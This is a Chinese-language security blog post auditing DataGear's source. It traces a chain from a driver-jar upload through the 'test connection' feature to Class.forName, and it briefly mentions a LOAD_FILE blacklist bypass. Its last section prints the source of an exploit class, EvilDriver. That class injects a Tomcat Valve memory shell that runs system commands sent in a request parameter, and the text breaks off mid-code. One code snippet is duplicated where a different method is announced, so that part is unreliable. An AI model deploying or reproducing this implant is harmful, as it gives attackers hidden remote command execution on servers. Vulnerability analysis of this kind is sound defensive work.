我翻DataGear源码时,顺手摸到这两条危险的链

admin 2026-04-23 04:47:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析DataGear源码发现两个安全风险点:一是通过driver上传功能结合测试连接接口可实现任意类加载,存在远程代码执行风险;二是SQL预览功能黑名单过滤不严,可通过LOAD_FILE()等函数绕过实现文件读取。作者指出漏洞利用需结合具体环境配置,并提供了详细代码调用链分析。 综合评分: 85 文章分类: 漏洞分析,代码审计,WEB安全,安全开发,渗透测试


cover_image

我翻DataGear源码时,顺手摸到这两条危险的链

原创

一寸灰 一寸灰

东方隐侠安全团队

2026年4月19日 08:30 江苏

在小说阅读器读本章

去阅读

最近翻DataGear源码,顺手摸到两个挺有意思的点。

一个在driver上传这条线,文件传上去以后,再借“测试连接”一路往下走,最后能碰到Class.forName(…)这种类加载边界。

另一个在SQL预览这条线,它想用关键字黑名单拦危险能力,但边界写法本身就有缺口,像LOAD_FILE()这种函数名就能从里面钻过去,最后把风险落到文件读取。另外还看到一个SSRF,不过那条我先放着,后面如果值得单拎,再单独写。

项目是https://gitcode.com/datageartech/datagear

文中这两条链能不能在真实环境里完全成立,也要看版本、权限模型、部署方式、数据库能力和目标配置。我这里只记源码里已经能顺下来的部分。

  1. 从driver上传走到类加载

第一条链的起点在上传驱动文件的接口。

上传接口这里没什么花活。driverEntity已经存在,就把上传的jar包写到对应目录里;不存在,就先按id建目录,再把文件落进去。至少从这段代码看,上传内容本身没看到像样的校验。

public&nbsp;Map<String, Object>&nbsp;uploadDriverFile(HttpServletRequest request, @RequestParam("id")&nbsp;String id,
&nbsp; &nbsp; &nbsp; @RequestParam("file")&nbsp;MultipartFile multipartFile)&nbsp;throws&nbsp;Exception
&nbsp;&nbsp;{
&nbsp; &nbsp; FileInfo[] fileInfos;
&nbsp; &nbsp; List<String> driverClassNames =&nbsp;new&nbsp;ArrayList<>();

&nbsp; &nbsp; String originalFilename = multipartFile.getOriginalFilename();

&nbsp; &nbsp; DriverEntity driverEntity =&nbsp;this.driverEntityManager.get(id);

&nbsp; &nbsp;&nbsp;if&nbsp;(driverEntity !=&nbsp;null)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; InputStream in = multipartFile.getInputStream();

&nbsp; &nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp;&nbsp;finally
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; IOUtil.close(in);
&nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; List<DriverLibraryInfo> driverLibraryInfos =&nbsp;this.driverEntityManager.getDriverLibraryInfos(driverEntity);
&nbsp; &nbsp; &nbsp; fileInfos = toFileInfos(driverLibraryInfos);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; File directory = getTempDriverLibraryDirectoryNotNull(id);
&nbsp; &nbsp; &nbsp; File tempFile = getTempDriverLibraryFile(directory, originalFilename);

&nbsp; &nbsp; &nbsp; multipartFile.transferTo(tempFile);

&nbsp; &nbsp; &nbsp; resolveDriverClassNames(tempFile, driverClassNames);

&nbsp; &nbsp; &nbsp; fileInfos = FileUtil.getFileInfos(directory);
&nbsp; &nbsp; }

&nbsp; &nbsp; Map<String, Object> map =&nbsp;new&nbsp;HashMap<>();
&nbsp; &nbsp; map.put("fileInfos", fileInfos);
&nbsp; &nbsp; map.put("driverClassNames", driverClassNames);

&nbsp; &nbsp;&nbsp;return&nbsp;map;
&nbsp; }

单有上传点还不够,真正要命的是后面会不会把这个jar真的加载进去。

往下跟,很快就能看到DtbsSourceController.testConnection这条线。这个接口最后会去做数据库连接测试,而这条“测试连接”能力,恰好把前面上传进去的驱动包和后面的类加载串到了一起。

public&nbsp;Map<String, Object>&nbsp;uploadDriverFile(HttpServletRequest request, @RequestParam("id")&nbsp;String id,
&nbsp; &nbsp; &nbsp; @RequestParam("file")&nbsp;MultipartFile multipartFile)&nbsp;throws&nbsp;Exception
&nbsp;&nbsp;{
&nbsp; &nbsp; FileInfo[] fileInfos;
&nbsp; &nbsp; List<String> driverClassNames =&nbsp;new&nbsp;ArrayList<>();

&nbsp; &nbsp; String originalFilename = multipartFile.getOriginalFilename();

&nbsp; &nbsp; DriverEntity driverEntity =&nbsp;this.driverEntityManager.get(id);

&nbsp; &nbsp;&nbsp;if&nbsp;(driverEntity !=&nbsp;null)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; InputStream in = multipartFile.getInputStream();

&nbsp; &nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp;&nbsp;finally
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; IOUtil.close(in);
&nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; List<DriverLibraryInfo> driverLibraryInfos =&nbsp;this.driverEntityManager.getDriverLibraryInfos(driverEntity);
&nbsp; &nbsp; &nbsp; fileInfos = toFileInfos(driverLibraryInfos);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; File directory = getTempDriverLibraryDirectoryNotNull(id);
&nbsp; &nbsp; &nbsp; File tempFile = getTempDriverLibraryFile(directory, originalFilename);

&nbsp; &nbsp; &nbsp; multipartFile.transferTo(tempFile);

&nbsp; &nbsp; &nbsp; resolveDriverClassNames(tempFile, driverClassNames);

&nbsp; &nbsp; &nbsp; fileInfos = FileUtil.getFileInfos(directory);
&nbsp; &nbsp; }

&nbsp; &nbsp; Map<String, Object> map =&nbsp;new&nbsp;HashMap<>();
&nbsp; &nbsp; map.put("fileInfos", fileInfos);
&nbsp; &nbsp; map.put("driverClassNames", driverClassNames);

&nbsp; &nbsp;&nbsp;return&nbsp;map;
&nbsp; }

接下来,entity会一路进入

AbstractDtbsSourceConnController.getDtbsSourceConnection

protected&nbsp;Connection&nbsp;getDtbsSourceConnection(DtbsSource dtbsSource)&nbsp;throws&nbsp;ConnectionSourceException
{
&nbsp; &nbsp;&nbsp;return&nbsp;this.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource, dtbsSource);
}

再往下到DtbsSourceConnectionSupport.getDtbsSourceConnection,只要driverEntity不为空,就会走connectionSource.getConnection(driverEntity, connectionOption)这条分支。

public&nbsp;Connection&nbsp;getDtbsSourceConnection(ConnectionSource connectionSource, DtbsSource dtbsSource)
&nbsp; &nbsp; &nbsp; &nbsp;throws&nbsp;ConnectionSourceException
{
&nbsp; &nbsp; Connection cn =&nbsp;null;

&nbsp; &nbsp; Properties properties =&nbsp;new&nbsp;Properties();

&nbsp; &nbsp;&nbsp;if(dtbsSource.hasProperty())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;List<DtbsSourceProperty> dtbsSourceProperties = dtbsSource.getProperties();
&nbsp; &nbsp; &nbsp; &nbsp;for(DtbsSourceProperty sp : dtbsSourceProperties)
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String name = sp.getName();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String value = sp.getValue();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!StringUtil.isEmpty(name))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;properties.put(name, (value ==&nbsp;null&nbsp;?&nbsp;""&nbsp;: value));
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; }

&nbsp; &nbsp; String schemaName = dtbsSource.getSchemaName();
&nbsp; &nbsp;&nbsp;boolean&nbsp;emptySchemaName = StringUtil.isEmpty(schemaName);

&nbsp; &nbsp;&nbsp;// 必须添加此连接属性,不然会获取到其他数据库模式的连接
&nbsp; &nbsp;&nbsp;if&nbsp;(!emptySchemaName)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;properties.put(INTERNAL_SCHEMA_PROPERTY_NAME, schemaName);
&nbsp; &nbsp; }

&nbsp; &nbsp; ConnectionOption connectionOption = ConnectionOption.valueOf(dtbsSource.getUrl(), dtbsSource.getUser(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dtbsSource.getPassword(), properties);

&nbsp; &nbsp;&nbsp;if&nbsp;(dtbsSource.hasDriverEntity())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;DriverEntity driverEntity = dtbsSource.getDriverEntity();
&nbsp; &nbsp; &nbsp; &nbsp;cn = connectionSource.getConnection(driverEntity, connectionOption);//如果driverEntity不为空,则调用。
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;cn = connectionSource.getConnection(connectionOption);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if&nbsp;(!emptySchemaName)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;try
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cn.setSchema(dtbsSource.getSchemaName());
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp;catch&nbsp;(SQLException e)
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownew&nbsp;DataSourceException(e);
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;cn;
}

再往下,进入DefaultConnectionSource.getConnection,这里会进一步调用getDriver。

public&nbsp;Connection&nbsp;getConnection(DriverEntity driverEntity, ConnectionOption connectionOption)
&nbsp; &nbsp; &nbsp; &nbsp;throws&nbsp;ConnectionSourceException
{
&nbsp; &nbsp; Driver driver =&nbsp;this.driverEntityManager.getDriver(driverEntity);

&nbsp; &nbsp;&nbsp;if&nbsp;(!acceptsURL(driver, connectionOption.getUrl()))
&nbsp; &nbsp; &nbsp; &nbsp;throw&nbsp;new&nbsp;URLNotAcceptedException(driverEntity, connectionOption.getUrl());

&nbsp; &nbsp;&nbsp;return&nbsp;getConnection(driver, connectionOption);
}

接着进入AbstractFileDriverEntityManager.getDriver,从driverEntity.getDriverClassName()里取出驱动类名,传给PathDriverFactory.getDriver(driverClassName)。

public&nbsp;synchronized&nbsp;Driver&nbsp;getDriver(DriverEntity driverEntity)&nbsp;throws&nbsp;DriverEntityManagerException
{
&nbsp; &nbsp; PathDriverFactoryInfo pdfi = getLatestPathDriverFactoryInfoNonNull(driverEntity);
&nbsp; &nbsp;&nbsp;return&nbsp;pdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());
}

再往下,真正落点就在PathDriverFactory.getDriver。

public&nbsp;synchronized&nbsp;Driver&nbsp;getDriver(String driverClassName)&nbsp;throws&nbsp;PathDriverFactoryException
{
&nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;Class.forName(driverClassName,&nbsp;true,&nbsp;this.pathClassLoader);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(ClassNotFoundException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;DriverNotFoundException(this.path.getPath(), driverClassName, e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(ClassFormatError e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;DriverClassFormatErrorException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(Throwable t)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(t);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;Driver driver = (Driver)&nbsp;this.driverTool.getClass().getMethod("getDriver", String.class)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.invoke(this.driverTool, driverClassName);

&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(driver ==&nbsp;null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownew&nbsp;PathDriverFactoryException(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"No Driver named ["&nbsp;+ driverClassName +&nbsp;"] found in ["&nbsp;+&nbsp;this.path +&nbsp;"]");

&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(LOGGER.isDebugEnabled())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LOGGER.debug("Get JDBC driver ["&nbsp;+ driverClassName +&nbsp;"] in path ["&nbsp;+&nbsp;this.path +&nbsp;"]");

&nbsp; &nbsp; &nbsp; &nbsp;return&nbsp;driver;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(IllegalArgumentException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(SecurityException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(IllegalAccessException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(InvocationTargetException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(NoSuchMethodException e)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;PathDriverFactoryException(e);
&nbsp; &nbsp; }
}

链走到这里,其实已经闭上了:

  1. 上传jar。
  2. 让系统把这个jar放进会被driver逻辑使用的路径。
  3. 通过driverClassName指向jar里的恶意类。
  4. 在testConnection这类看起来只是“辅助测试”的功能里,最终走到Class.forName(…, this.pathClassLoader)。

所以真正危险的,不是后台里多了个上传点,而是系统后面真的会用自己的类加载器去把它吃进去。

这条链没必要硬扣成“未授权RCE”。至少从控制器逻辑看,testConnection还挂着当前用户上下文和权限校验。更接近实际情况的表述是:

如果攻击者能进入对应后台能力边界,并控制上传的jar与驱动类名,这条链最终就可以把风险推到应用类加载和代码执行层。

利用思路

利用方式也不绕。写一个恶意Driver,在类加载时通过静态代码块完成恶意逻辑注册,再把它伪装成正常JDBC Driver。

原始笔记里给的示例,是一个Agent内存马思路,打成jar后上传,再借Class.forName触发加载。

为了完整保留原始技术链,下面把原始evil/EvilDriver.java一并保留。

源码(evil/EvilDriver.java)

package evil;

import&nbsp;java.io.*;
import&nbsp;java.lang.reflect.*;
import&nbsp;java.sql.*;
import&nbsp;java.util.*;
import&nbsp;java.util.logging.Logger;

publicclass&nbsp;EvilDriver&nbsp;implements&nbsp;Driver {

&nbsp; &nbsp;&nbsp;static&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 1: 获取 Tomcat StandardContext
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;contextObj = getStandardContext();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contextObj !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 2: 注入 Valve 内存马
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; injectValve(contextObj);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 3: 注册为合法 JDBC Driver(避免报错)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DriverManager.registerDriver(new&nbsp;EvilDriver());
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 通过反射链获取 Tomcat StandardContext
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 反射链路:
&nbsp; &nbsp; &nbsp;* Thread.currentThread().getContextClassLoader()
&nbsp; &nbsp; &nbsp;* -> WebappClassLoaderBase
&nbsp; &nbsp; &nbsp;* -> .resources (StandardRoot)
&nbsp; &nbsp; &nbsp;* -> .getContext() -> StandardContext
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;privatestaticObject&nbsp;getStandardContext() throws Exception {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Method 1: WebappClassLoader -> resources -> context
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ClassLoader cl = Thread.currentThread().getContextClassLoader();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Field resourcesField =&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> c = cl.getClass();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(c !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resourcesField = c.getDeclaredField("resources");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchFieldException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = c.getSuperclass();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(resourcesField !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resourcesField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;resources = resourcesField.get(cl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getContext = resources.getClass().getMethod("getContext");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;getContext.invoke(resources);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Method 2: Spring RequestContextHolder -> Request -> ServletContext
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> rch = Class.forName(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"org.springframework.web.context.request.RequestContextHolder");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getAttr = rch.getMethod("getRequestAttributes");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;attrs = getAttr.invoke(null);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(attrs !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getRequest = attrs.getClass().getMethod("getRequest");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;request = getRequest.invoke(attrs);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getSC = request.getClass().getMethod("getServletContext");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;servletContext = getSC.invoke(request);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ApplicationContextFacade -> ApplicationContext -> StandardContext
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Field appCtxField = servletContext.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; appCtxField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;appCtx = appCtxField.get(servletContext);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Field stdCtxField = appCtx.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stdCtxField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;stdCtxField.get(appCtx);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 注入 Tomcat Valve 内存马
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* Valve 在 Tomcat Pipeline 的最底层执行,
&nbsp; &nbsp; &nbsp;* 拦截所有经过该 Context 的 HTTP 请求。
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 注入链路:
&nbsp; &nbsp; &nbsp;* StandardContext.getPipeline() -> StandardPipeline
&nbsp; &nbsp; &nbsp;* -> addValve(恶意 Valve)
&nbsp; &nbsp; &nbsp;* -> 恶意 Valve 检查请求参数
&nbsp; &nbsp; &nbsp;* -> 有 magic 参数 → 执行命令返回结果
&nbsp; &nbsp; &nbsp;* -> 无 magic 参数 → 传递给下一个 Valve(正常处理)
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;privatestaticvoid&nbsp;injectValve(Object&nbsp;standardContext) throws Exception {
&nbsp; &nbsp; &nbsp; &nbsp; Method getPipeline = standardContext.getClass().getMethod("getPipeline");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;pipeline = getPipeline.invoke(standardContext);

&nbsp; &nbsp; &nbsp; &nbsp; ClassLoader tcl = standardContext.getClass().getClassLoader();
&nbsp; &nbsp; &nbsp; &nbsp; Class<?> valveClass = tcl.loadClass("org.apache.catalina.Valve");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 使用动态代理创建 Valve 实例
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;valve = Proxy.newProxyInstance(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tcl,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Class<?>[]{valveClass},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvocationHandler() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;privateObject&nbsp;next =&nbsp;null;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;publicObject&nbsp;invoke(Object&nbsp;proxy, Method method,&nbsp;Object[] args)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throws Throwable {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;methodName = method.getName();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 拦截 invoke(Request, Response) 调用
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("invoke".equals(methodName)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; && args !=&nbsp;null&nbsp;&& args.length ==&nbsp;2) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;request = args[0];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;response = args[1];

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getParam = request.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("getParameter",&nbsp;String.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检查 magic 参数
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;cmd = (String) getParam
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .invoke(request,&nbsp;"datagear");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(cmd !=&nbsp;null&nbsp;&& !cmd.isEmpty()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行系统命令
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;os = System.getProperty("os.name")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .toLowerCase();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String[] cmds;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(os.contains("win")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmds =&nbsp;newString[]{
